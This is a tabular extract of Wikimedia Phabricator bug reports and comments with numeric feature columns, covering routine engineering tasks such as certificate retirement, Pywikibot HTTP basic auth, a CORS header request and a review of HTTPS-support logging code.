90329,FlaggedRevs uses synchronous XMLHttpRequests,https://github.com/wikimedia/mediawiki-extensions-FlaggedRevs/blob/bcdb67067d/frontend/modules/ext.flaggedRevs.review.js#L406,Needs Triage,90.0,1424498718,1712678231.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-kbh44ilci6y57bxkoujy,task_description,resolved,True,c3,1,True,False,False,-19,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
2313122,FlaggedRevs uses synchronous XMLHttpRequests,That feature was removed in {b7dba6952ee474d70c4b852908e373e4b58a5dbe}.,,,1712678231,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kbh44ilci6y57bxkoujy,task_subcomment,,True,c3,3,True,,,457,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.333333333333333,1.0,That feature was removed in {b7dba6952ee474d70c4b852908e373e4b58a5dbe}.
90002,icinga-admin certificate expires 2015-02-26 - replace or deprecate?,"The icinga-admin.wikimedia.org certificate expires on 2015-02-26.

Since we locked down icinga.wikimedia.org, I'd like to propose we simply remove the icinga-admin url support entirely, rather than maintaining an unneeded secondary certificate.

If this need changes in the future, then we can re-evaluate a purchase at that time.",Needs Triage,90.0,1424379253,1424459255.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-min4ppsdbf5smrkan2wx,task_description,resolved,True,c3,1,True,True,True,-19,True,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,6.0,2.0,6.0,14.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,6.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,6.0,14.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,4.555555555555555,0.8095238095238095,"The icinga-admin.wikimedia.org certificate expires on 2015-02-26.

Since we locked down icinga.wikimedia.org, I'd like to propose we simply remove the icinga-admin url support entirely, rather than maintaining an unneeded secondary certificate.

If this need changes in the future, then we can re-evaluate a purchase at that time."
414953,icinga-admin certificate expires 2015-02-26 - replace or deprecate?,"I neglected to pull the install cert, done via: https://gerrit.wikimedia.org/r/#/c/191923/


This is now all merged and complete, icinga-admin.wikimedia.org is also revoked from RapidSSL (it expired next week, but its a good habit to revoke certs anyhow.)",,,1424459255,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-min4ppsdbf5smrkan2wx,task_subcomment,,True,c3,1,True,,,-19,True,2.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,9.0,0.0,5.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,9.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.136363636363637,0.9090909090909091,"I neglected to pull the install cert, done via: URL


This is now all merged and complete, icinga-admin.wikimedia.org is also revoked from RapidSSL (it expired next week, but its a good habit to revoke certs anyhow.)"
414391,icinga-admin certificate expires 2015-02-26 - replace or deprecate?,"Yeah, I think that's fine. We might move away from Icinga within the next year entirely, anyway.",,,1424380497,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-min4ppsdbf5smrkan2wx,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,9.0,9.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,0.9090909090909091,"Yeah, I think that's fine. We might move away from Icinga within the next year entirely, anyway."
414380,icinga-admin certificate expires 2015-02-26 - replace or deprecate?,"Patchsets:

https://gerrit.wikimedia.org/r/#/c/191699/

https://gerrit.wikimedia.org/r/#/c/191700/",,,1424379794,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-min4ppsdbf5smrkan2wx,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.6666666666666666,"Patchsets:

URL

URL"
414373,icinga-admin certificate expires 2015-02-26 - replace or deprecate?,"I'm going to link in the patchsets to disable this, but I'd like to get feedback from other opsen before implementation.",,,1424379535,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-min4ppsdbf5smrkan2wx,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,24.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,8.0,24.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.88,"I'm going to link in the patchsets to disable this, but I'd like to get feedback from other opsen before implementation."
89417,Support HTTP basic auth,"pwb doesn't use info from `authenticate['en.wikipedia.org'] = ('user','pa55w0rd')` for HTTP basic auth acces, as [described in Manual:Pywikibot/Use_on_third-party_wikis](https://www.mediawiki.org/wiki/Manual:Pywikibot/Use_on_third-party_wikis#Bot_.26_HTTP_auth)

threadedhttp.py sends no basic auth headers (verified by logfile)",Needs Triage,90.0,1423785108,1423961513.0,PHID-USER-qctjjxrc7cabhbspfpv6,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-rizzrkaarvvy2fbfbooi,task_description,resolved,True,c3,1,False,False,True,-20,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.611111111111111,0.9444444444444444,"pwb doesn't use info from CODE for HTTP basic auth acces, as [described in Manual:Pywikibot/Use_on_third-party_wikis](URL

threadedhttp.py sends no basic auth headers (verified by logfile)"
411749,Support HTTP basic auth,"Change 190482 merged by jenkins-bot:
HTTP basic authorization

[[https://gerrit.wikimedia.org/r/190482]]",,,1423958853,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rizzrkaarvvy2fbfbooi,task_subcomment,,True,c3,1,False,,,-20,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.9444444444444446,0.8888888888888888,"Change 190482 merged by jenkins-bot:
HTTP basic authorization

[[GERRIT_URL]]"
411120,Support HTTP basic auth,"Change 190482 had a related patch set uploaded (by Mjbmr):
HTTP basic authorization

[[https://gerrit.wikimedia.org/r/190482]]

#patch-for-review",,,1423848716,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rizzrkaarvvy2fbfbooi,task_subcomment,,True,c3,1,False,,,-20,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.689655172413793,0.8275862068965517,"Change 190482 had a related patch set uploaded (by Mjbmr):
HTTP basic authorization

[[GERRIT_URL]]

#patch-for-review"
89415,looking to understand how frequently mobile ISP/proxy injected http tracking headers appear in the wild,"Research is not actively working on this, but wanted to bring this to your attention before we archive it:


https://trello.com/c/NIUZkYG0/652-header-research-for-berkely-people

",Needs Triage,90.0,1423784327,1582582451.0,PHID-USER-boqv2doznygy3kwrkyly,False,PHID-USER-dccizlq7dtc2zihfk7cd,False,PHID-TASK-qgqwaewnzzre7neml4sr,task_description,declined,True,c3,1,False,False,False,-20,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,17.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,17.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.9166666666666666,"Research is not actively working on this, but wanted to bring this to your attention before we archive it:


URL

"
1449897,looking to understand how frequently mobile ISP/proxy injected http tracking headers appear in the wild,"@Jcross 

The link in the description does not work.  Most of the people originally active on this ticket no longer work here.  I think that it is safe to close this ticket.",,,1582581779,,PHID-USER-boqv2doznygy3kwrkyly,False,,,PHID-TASK-qgqwaewnzzre7neml4sr,task_subcomment,,True,c3,3,False,,,242,True,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,13.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,11.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.8421052631578947,0.8157894736842105,"SCREEN_NAME 

The link in the description does not work.  Most of the people originally active on this ticket no longer work here.  I think that it is safe to close this ticket."
1449737,looking to understand how frequently mobile ISP/proxy injected http tracking headers appear in the wild,Hi @ggellerman ! Security is working on cleaning up our boards a bit and we would appreciate confirmation that this Privacy work is still needed. We were hoping you could take a look and let us know? If you would like to move forward we will ensure it is triaged and assigned accordingly.,,,1582573479,,PHID-USER-bt7mibtmfclb4x2gr4hf,False,,,PHID-TASK-qgqwaewnzzre7neml4sr,task_subcomment,,True,c3,3,False,,,242,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,5.0,0.0,5.0,5.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,9.0,4.0,5.0,5.0,0.0,0.0,2.0,0.0,13.0,0.0,0.0,0.0,15.0,9.0,4.0,2.0,0.0,0.0,15.0,0.0,0.0,4.0,2.0,5.0,0.0,0.0,0.0,4.290909090909091,0.8363636363636363,HiSCREEN_NAME ! Security is working on cleaning up our boards a bit and we would appreciate confirmation that this Privacy work is still needed. We were hoping you could take a look and let us know? If you would like to move forward we will ensure it is triaged and assigned accordingly.
416755,looking to understand how frequently mobile ISP/proxy injected http tracking headers appear in the wild,"Since this is not relevant to any immediate need and it's a low priority on our end, I'll let the OP know that we're not planning to do any work on this any time soon.",,,1424816784,,PHID-USER-qb5aoo443n6fezsozhv4,False,,,PHID-TASK-qgqwaewnzzre7neml4sr,task_subcomment,,True,c3,1,False,,,-19,True,8.0,0.0,0.0,0.0,5.0,8.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,0.0,8.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,8.0,5.0,2.0,18.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.325,0.85,"Since this is not relevant to any immediate need and it's a low priority on our end, I'll let the OP know that we're not planning to do any work on this any time soon."
413804,looking to understand how frequently mobile ISP/proxy injected http tracking headers appear in the wild,"It would be interesting, definitely. I think a few people in the privacy tooling sphere would be interested in what we're seeing. However, the results wouldn't be particularly useful for anything I'm doing day-to-day, so I wouldn't push for you guys to do it based on me.

But the collection infrastructure and process for these types of problems would be very useful-- e.g., it would be very useful to me to collect stats on what TLS ciphers we negotiate with all our users. If this project would help us work out the process and tech needed to run time-limited collections on 100% of our traffic and publish anonymized reports, I would be in favor of that.",,,1424300922,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qgqwaewnzzre7neml4sr,task_subcomment,,True,c3,1,True,,,-20,True,1.0,0.5,1.5,0.0,1.0,3.5,3.5,0.0,0.0,0.5,3.0,2.0,0.0,0.0,0.0,7.0,0.0,4.5,12.5,0.5,2.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,5.0,0.0,2.0,1.0,1.5,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,14.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,3.5,5.0,0.5,3.0,5.5,0.0,0.0,0.0,0.0,8.5,0.0,0.5,0.0,9.0,12.5,0.5,0.0,0.0,0.0,9.0,0.0,1.0,0.5,2.0,1.0,0.0,0.0,0.0,3.942028985507246,0.7463768115942029,"It would be interesting, definitely. I think a few people in the privacy tooling sphere would be interested in what we're seeing. However, the results wouldn't be particularly useful for anything I'm doing day-to-day, so I wouldn't push for you guys to do it based on me.

But the collection infrastructure and process for these types of problems would be very useful-- e.g., it would be very useful to me to collect stats on what TLS ciphers we negotiate with all our users. If this project would help us work out the process and tech needed to run time-limited collections on 100% of our traffic and publish anonymized reports, I would be in favor of that."
413793,looking to understand how frequently mobile ISP/proxy injected http tracking headers appear in the wild,"ping @csteipp is this of any interest? If not, we'll close it and respond to the OP.",,,1424299732,,PHID-USER-qb5aoo443n6fezsozhv4,False,,,PHID-TASK-qgqwaewnzzre7neml4sr,task_subcomment,,True,c3,1,False,,,-20,True,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,5.0,5.0,15.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,15.0,10.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.55,1.0,"pingSCREEN_NAME is this of any interest? If not, we'll close it and respond to the OP."
88532,"Add ""Access-Control-Allow-Origin: *"" HTTP header to read-only API responses","To allow client-side JavaScript applications to fetch information from MediaWiki APIs, please add the following header to API responses, allowing the response to be read by an application running on a different domain:

Access-Control-Allow-Origin: *

========

https://www.mediawiki.org/wiki/API:Cross-site_requests

In the current documentation for CORS usage in cross-site requests, it states:

""If the CORS origin check passes, MediaWiki will include the Access-Control-Allow-Credentials: true header in the response, so authentication cookies may be sent.""

What it should also say -- once this is implemented -- is that if the CORS origin check **doesn't** pass, MediaWiki will **not** include the Access-Control-Allow-Credentials: true header in the response, so authentication cookies may **not** be sent, but MediaWiki will still include the Access-Control-Allow-Origin: * header so that **unauthenticated** requests can be accessed from any origin.

========

Notes:

  - JSONP, which is currently enabled, is an old, less secure workaround for the problem that CORS now solves correctly.
  - [[ https://phabricator.wikimedia.org/T62835 | A previous request, that was declined for invalid reasons. ]]
  - [[ https://www.mediawiki.org/wiki/Thread:Talk:Requests_for_comment/API_Future/CORS_and_third-party_web_apps | A related API roadmap discussion ]]
  - Users trying to access a MediaWiki API and expecting CORS to be enabled: [[ https://stackoverflow.com/questions/3873636/no-response-from-mediawiki-api-using-jquery | 1 ]], [[ https://stackoverflow.com/questions/23952045/wikipedia-api-cross-origin-requests  | 2 ]]
",Needs Triage,90.0,1423050653,1423066428.0,PHID-USER-bec4qutr6lgmigibbdfi,False,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-TASK-hbavz2slp7pstps5h5jc,task_description,duplicate,True,c3,1,False,False,True,-22,True,0.25,0.0,0.0,2.25,0.75,3.75,0.5,0.0,0.0,0.5,1.0,0.25,0.0,0.0,0.0,0.0,0.0,2.5,6.5,0.0,1.5,0.25,0.25,0.0,0.25,0.0,0.0,0.0,0.75,0.75,0.5,2.0,1.5,0.5,0.75,0.0,0.0,0.25,0.25,2.25,0.0,0.0,0.5,1.75,0.25,0.0,0.25,0.0,0.0,15.25,0.75,0.25,0.75,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,1.0,0.0,0.0,0.25,0.0,0.0,4.5,2.75,12.25,2.0,0.5,5.25,0.0,0.0,0.0,0.0,5.25,0.25,0.75,0.0,1.25,6.5,7.0,0.0,0.5,0.0,1.25,0.0,1.25,1.75,0.0,1.5,0.25,0.0,2.0,3.5732655502392343,0.620727956254272,"To allow client-side JavaScript applications to fetch information from MediaWiki APIs, please add the following header to API responses, allowing the response to be read by an application running on a different domain:

Access-Control-Allow-Origin: *

========

URL

In the current documentation for CORS usage in cross-site requests, it states:

""If the CORS origin check passes, MediaWiki will include the Access-Control-Allow-Credentials: true header in the response, so authentication cookies may be sent.""

What it should also say -- once this is implemented -- is that if the CORS origin check **doesn't** pass, MediaWiki will **not** include the Access-Control-Allow-Credentials: true header in the response, so authentication cookies may **not** be sent, but MediaWiki will still include the Access-Control-Allow-Origin: * header so that **unauthenticated** requests can be accessed from any origin.

========

Notes:

  - JSONP, which is currently enabled, is an old, less secure workaround for the problem that CORS now solves correctly.
  - [[ URL | A previous request, that was declined for invalid reasons. ]]
  - [[ URL | A related API roadmap discussion ]]
  - Users trying to access a MediaWiki API and expecting CORS to be enabled: [[ URL | 1 ]], [[ URL  | 2 ]]
"
406660,"Add ""Access-Control-Allow-Origin: *"" HTTP header to read-only API responses",Opening a duplicate bug because you don't like the closure of your last one isn't the way to go about things. Further comment on the previous bug.,,,1423066424,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-hbavz2slp7pstps5h5jc,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,6.0,13.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,6.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.870967741935484,0.8387096774193549,Opening a duplicate bug because you don't like the closure of your last one isn't the way to go about things. Further comment on the previous bug.
406573,"Add ""Access-Control-Allow-Origin: *"" HTTP header to read-only API responses","I would like to suggest [[ https://github.com/hubgit/mediawiki/commit/f247442b9fd928a86b262b6badc24bbbb34f8f0f | this change to the response headers ]], but I don't know enough about the rest of the system to know whether it would have unintended side effects.",,,1423052616,,PHID-USER-bec4qutr6lgmigibbdfi,False,,,PHID-TASK-hbavz2slp7pstps5h5jc,task_subcomment,,True,c3,1,False,,,-22,True,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.65,0.775,"I would like to suggest [[ URL | this change to the response headers ]], but I don't know enough about the rest of the system to know whether it would have unintended side effects."
88361,Review HttpsSupport logging code for re-deployment,"When Tim reviewed the HTTPS support detection survey in 2013, he identified several issues with the instrumentation that made us doubt the quality of the results:

{P239}

Since Erik would like us to re-run this test, I have revised the instrumentation code to address these issues.

* The requests are now for //performance.wikimedia.org, which is not likely to have an open connection.
* The order of the two tests is randomized.
* Both tests are set to time out after 5s, but we never log before 6 seconds have elapsed. This ensures that if the user navigates away from the page before both tests have had 5 full seconds to succeed, we don't log anything at all. This should control for systemic error resulting from different performance characteristics of HTTP and HTTPS.

The original instrumentation code is available here:
https://raw.githubusercontent.com/wikimedia/mediawiki-extensions-WikimediaEvents/433cd6874b6f16a0d6940d19ffe01b75acd80580/modules/ext.coreEvents.httpsSupport.js

The diff containing my proposed changes is available here:

{F34553}

At Erik's request, I am keeping this private. I am obviously aware that the code from the previous round of data collection is publicly available, and that the changes will be public too if and when we start serving them to clients.",Needs Triage,90.0,1422921397,1438966819.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-6lzescuz63iaojerpnjo,task_description,resolved,True,c3,1,True,False,True,-22,True,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,5.666666666666667,3.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,3.3333333333333335,0.3333333333333333,5.333333333333333,10.666666666666666,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,6.333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,2.0,0.0,0.6666666666666666,0.3333333333333333,2.6666666666666665,0.0,1.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,11.666666666666666,0.6666666666666666,1.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,6.0,4.0,8.333333333333334,3.0,1.6666666666666667,8.666666666666666,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,1.6666666666666667,0.0,4.333333333333333,10.666666666666666,2.6666666666666665,0.0,0.0,0.0,4.333333333333333,0.0,1.3333333333333333,0.3333333333333333,1.0,1.6666666666666667,0.0,0.0,0.0,4.197368421052631,0.7675438596491229,"When Tim reviewed the HTTPS support detection survey in 2013, he identified several issues with the instrumentation that made us doubt the quality of the results:

{P239}

Since Erik would like us to re-run this test, I have revised the instrumentation code to address these issues.

* The requests are now for //performance.wikimedia.org, which is not likely to have an open connection.
* The order of the two tests is randomized.
* Both tests are set to time out after 5s, but we never log before 6 seconds have elapsed. This ensures that if the user navigates away from the page before both tests have had 5 full seconds to succeed, we don't log anything at all. This should control for systemic error resulting from different performance characteristics of HTTP and HTTPS.

The original instrumentation code is available here:
URL

The diff containing my proposed changes is available here:

